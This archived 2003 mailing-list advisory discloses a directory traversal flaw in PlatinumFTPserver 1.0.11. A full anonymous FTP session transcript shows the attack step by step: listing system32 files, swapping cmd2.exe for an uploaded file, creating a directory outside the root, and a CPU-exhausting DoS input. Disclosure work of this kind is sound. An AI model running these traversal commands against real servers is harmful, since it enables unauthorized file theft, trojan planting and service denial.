('binary' encoding is not supported, stored as-is) Vulnerability in PlatinumFTPserver V1.0.11 Vendor: PlatinumFTPserver (C)2002 BYTE/400 LTD Discovered by: SER Pui Kin, Hong Kong serpuikinat_private Date: 24 Feb 2003 ========================================================================== Summary ------------------- A vulnerability in Platinum FTP server is that it cannot stop users to traverse the file system out of the FTP root directory "/". Meanwhile, anonymous user can retrieve or replace any file in the FTP server. Trojan house can be easily installed to the affected server. The DOS vulnerability reported by Dennis Rand for Plantinum v1.0.7 has not been fixed yet in v1.0.11. Details ------------------- Version affected: * PlatinumFTPServer version 1.0.10, verion 1.0.11 Demonstration ------------------- C:\testing>ftp localhost Connected to ibm-kin. 220-PlatinumFTPserver V1.0.11 220-PlatinumFTPserver (C)2002 BYTE/400 LTD 220- 220 Enter login details User (ibm-kin:(none)): anonymous 331 Password required for anonymous. Password: 230-Send comments to supportat_private 230-Date 2/24/2003, Time 9:56:07 AM. 230 Storage available 8,671,645,696 Bytes. ftp> dir 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. -rwxr-xr-x 1 User Group 28 Feb 24 09:59 cmd3.exe 226 Listing complete. ftp: 67 bytes received in 0.00Seconds 67000.00Kbytes/sec. ftp> pwd 257 "/" is current directory. ftp> dir \.. 200 PORT command successful 500 /. or \. reference not allowed for security reasons. ######################################################## ## To retrieve file directory information out of the FTP root directory ######################################################## ftp> dir .. 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. -rwxr-xr-x 1 User Group 1406 Oct 10 23:38 3.ico drwxr-xr-x 1 User Group 0 Feb 24 09:54 Backup -rwxr-xr-x 1 User Group 90112 Aug 26 22:15 Clean.exe -rwxr-xr-x 1 User Group 418816 Feb 22 06:19 Console.exe -rwxr-xr-x 1 User Group 198315 Sep 3 03:47 FtpObjectHelp.chm -rwxr-xr-x 1 User Group 46592 Dec 12 06:58 InstallService.exe -rwxr-xr-x 1 User Group 15431 Jul 8 17:52 License.rtf drwxr-xr-x 1 User Group 0 Feb 24 09:56 logs -rwxr-xr-x 1 User Group 3224767 Jan 4 23:03 PlatinumFTPserver.chm -rwxr-xr-x 1 User Group 141312 Feb 22 06:22 PlatinumFTPserverEngine.exe -rwxr-xr-x 1 User Group 7406 Jul 19 23:51 Readme.ico -rwxr-xr-x 1 User Group 27109 Feb 22 20:12 Readme.rtf -rwxr-xr-x 1 User Group 69 Feb 22 11:54 reg.bat -rwxr-xr-x 1 User Group 69904 Jun 24 18:02 RegPatch.exe -rwxr-xr-x 1 User Group 43581 Feb 22 07:37 Releasenotes.rtf drwxr-xr-x 1 User Group 0 Feb 24 10:04 root -rwxr-xr-x 1 User Group 201728 Dec 11 07:09 ScriptEditor.exe drwxr-xr-x 1 User Group 0 Feb 24 09:54 Scripts -rwxr-xr-x 1 User Group 3036 Sep 1 15:37 TIPOFDAY.TXT -rwxr-xr-x 1 User Group 468490 Jul 8 17:53 vbscript.chm -rwxr-xr-x 1 User Group 61952 Aug 29 13:16 ViewLog.exe -rwxr-xr-x 1 User Group 89600 Nov 23 04:00 ZipManager.exe -rwxr-xr-x 1 User Group 92595 Sep 3 03:02 ZipObjectHelp.chm 226 Listing complete. ftp: 1634 bytes received in 0.00Seconds 1634000.00Kbytes/sec. ftp> dir ../../../../windows/system32/cmd* 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. -rwxr-xr-x 1 User Group 375808 Aug 18 20:00 cmd.exe -rwxr-xr-x 1 User Group 375808 Aug 18 20:00 cmd2.exe -rwxr-xr-x 1 User Group 324608 Aug 29 18:40 cmdial32.dll -rwxr-xr-x 1 User Group 41472 Aug 29 18:41 cmdl32.exe -rwxr-xr-x 1 User Group 40505 Aug 18 20:00 cmdlib.wsc 226 Listing complete. ftp: 342 bytes received in 0.00Seconds 342000.00Kbytes/sec. ######################################################## ## To get the file cmd2.exe out of the FTP root ######################################################## ftp> get ../../../../windows/system32/cmd2.exe 200 PORT command successful 550 ../../../../windows/system32/cmd2.exe: No such file or directory. ftp> dir 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. -rwxr-xr-x 1 User Group 28 Feb 24 09:59 cmd3.exe 226 Listing complete. ftp: 67 bytes received in 0.00Seconds 67000.00Kbytes/sec. ftp> rename ../../../../windows/system32/cmd2.exe To name cmd2.exe 350 Command OK - waiting for name 250 File/dir renamed to \cmd2.exe ftp> dir 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. -rwxr-xr-x 1 User Group 375808 Aug 18 20:00 cmd2.exe -rwxr-xr-x 1 User Group 28 Feb 24 09:59 cmd3.exe 226 Listing complete. ftp: 134 bytes received in 0.00Seconds 134000.00Kbytes/sec. ######################################################## ## To replace the cmd2.exe with the anonymous's program cmd3.exe ######################################################## ftp> rename cmd3.exe To name ../../../../windows/system32/cmd2.exe 350 Command OK - waiting for name 250 File/dir renamed to \..\..\..\..\windows\system32\cmd2.exe ftp> dir ../../../../windows/system32/cmd* 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. -rwxr-xr-x 1 User Group 375808 Aug 18 20:00 cmd.exe -rwxr-xr-x 1 User Group 28 Feb 24 09:59 cmd2.exe -rwxr-xr-x 1 User Group 324608 Aug 29 18:40 cmdial32.dll -rwxr-xr-x 1 User Group 41472 Aug 29 18:41 cmdl32.exe -rwxr-xr-x 1 User Group 40505 Aug 18 20:00 cmdlib.wsc 226 Listing complete. ftp: 342 bytes received in 0.00Seconds 342000.00Kbytes/sec. ftp> ######################################################## ## To create directory out of the FTP root ######################################################## ftp> pwd 257 "/" is current directory. ftp> mkdir ../testing1 257 ../testing1 directory created ######################################################## ## To DOS the FTP server. CPU will be 100% utilized ######################################################## ftp> cd @/..@/..
This archive was generated by hypermail 2b30 : Mon Feb 24 2003 - 10:52:49 PST